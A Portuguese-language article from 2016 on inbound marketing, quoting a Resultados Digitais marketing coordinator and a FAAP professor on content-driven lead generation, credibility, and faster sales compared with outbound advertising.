Inbound Marketing estimula o engajamento à marca e ganhos de credibilidade e relevância

Publicado em: 06 setembro - 2016

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Também chamado de Marketing de Atração, estimula o engajamento à marca e ganhos de credibilidade e relevância, com fechamento mais rápido de vendas

Aplicando-se a empresas de todos os portes (desde pequenas até multinacionais), segmentos e públicos (B2B e B2C), o Inbound Marketing ou Marketing de Atração é especialmente indicado a empresas com vendas complexas, que demandam uma construção mais longa de confiança com o público para a tomada de decisão.
E a pergunta naturalmente decorrente dessa definição de Nayara de Almeida D’Alama – coordenadora de Marketing da Resultados Digitais para Agências, Tecnologia e Educação – é por quê?
A resposta tem relação direta com a atualidade da técnica que “encaixa-se perfeitamente nos tempos atuais, pois as pessoas utilizam diariamente a internet para encontrar respostas para suas dúvidas (e não necessariamente para comprar um produto ou serviço)”, comenta D’Alama, citando como grande diferencial do Inbound Marketing “a possibilidade de estruturar diferentes ações (produção de conteúdo, mídias sociais, e-mail marketing etc.) ao longo de um Funil de Vendas, de maneira lógica e direcionada a resultados”.

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Nayara de Almeida d’alama, coordenadora de marketing da resultados digitais

Como explica Sérgio de Souza e Silva – professor de graduação e pós-graduação na FAAP, mestre em varejo pela FEA-USP e head de planejamento estratégico da agência de publicidade Nova/SB – ao contrário de uma publicidade nos meios tradicionais (TV, rádio), “no ambiente digital, as pessoas escolhem o que querem ver, e têm o poder de interromper e também pular a propaganda que não julga relevante. Por isso, a comunicação tem de evitar a rejeição do consumidor. Ela deve estimular que a pessoa prossiga vendo o vídeo até o fim, que clique no banner, que pesquise mais sobre algo que tenha despertado seu interesse na publicidade. Enfim, que se engaje no conteúdo da marca”.

Isso porque, no Inbound Marketing, o cliente vem até a marca e/ou produto por meio de buscadores na internet, como o Google, menções à marca em blogs, posts em redes sociais, comenta o professor da FAAP, contrapondo a esse conceito o Outbound Marketing, “que é quando o cliente vem a você depois de impactos em mídias como TV, Rádio, impressos, etc.”
Em outas palavras, o Inbound Marketing é uma espécie de “marketing de permissão”, não um “marketing de interrupção”, aquele que interrompe o entretenimento da pessoa com a exposição de um comercial, por exemplo. Por isso, “o Inbound Marketing gera lead de vendas (consumidor que procura a marca) de melhor qualidade e boas perspectivas de conversão”, exemplifica Sérgio Silva.

Ganhos
Os benefícios são decorrentes das definições e envolvem, entre outros, posicionar a empresa como autoridade na sua área de atuação, uma vez que ela não irá apenas ter uma presença digital (ter um site, por exemplo), mas criar ativamente conteúdos que vão suprir dores e necessidades do seu público-alvo.
“Quando isso acontece” – informa a coordenadora de Marketing – “seja na manutenção de um blog ou na criação de conteúdos ricos (eBooks, webinars), é natural que os usuários se interessem ativamente por esse conteúdo e considerem a empresa uma autoridade no tema e, consequentemente, a melhor opção no momento de decidir por uma futura compra. Além disso, a orientação clara em resultados faz com que o Inbound Marketing seja visto como um investimento, pois cada real investido pode ser monitorado, o que permite que a empresa meça o ROI das ações de marketing e faça eventuais ajustes e otimizações”.

Essa situação descrita por D’Alama é potencializada pelo fato de que o consumidor, quando chega ao site de uma determinada marca ou de uma loja virtual, “já chega mais engajado, pois já se informou sobre você. Chega também mais favorável, pois teve uma boa referência sobre você a partir do que leu em um blog, uma boa nota dada por outros consumidores, uma crítica positiva em um site que compara preços, ou mesmo após saber que um amigo curtiu, compartilhou ou elogiou sua marca na rede social”, comenta o professor da FAAP.

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Sérgio de Souza e Silva, mestre em varejo pela fea-usp

Vendas mais ágeis
Consequentemente, de acordo com Silva, “além de ganhar credibilidade, seu marketing é visto como relevante, pois atinge o consumidor no momento, de verdade. Afinal, uma pessoa que busca um produto no Google está no timing certo para ser impactado por sua marca. Ela já está em uma fase avançada na decisão de compras – raramente é uma pessoa vagamente interessada ou que ainda não decidiu se quer ou não. Ela está se informando para fechar uma compra”.

Ou seja, esse relacionamento gera oportunidades para o time comercial que têm muito mais chances de fechamento, garante D’Alama, e explica: “uma vez que foi o potencial cliente que chegou na empresa, e não o contrário, quando o vendedor entrar em contato com esse lead, ele já conhece a empresa, já consumiu alguns conteúdos, visitou seu site e entende a sua solução. O impacto em vendas é expressivo em comparação com o modelo de vendas Outbound”.

O Inbound Marketing depende de credibilidade, ressalta o professor da FAAP, lembrando que, “na internet, as pessoas trocam informações rapidamente sobre sua marca e checam sua reputação em sites como Reclame Aqui, Buscapé, etc. Por isso, deve-se estar alerta para responder rapidamente aos usuários de sua marca, não deixar reclamações sem feedback e solucionar eventuais problemas”.

Ou seja, “o foco das ações não é diretamente em vendas, mas sim na construção dessa necessidade ao longo da jornada de compra do potencial cliente, o que é feito por meio da produção de conteúdo”, reforça Nayara D’Alama.

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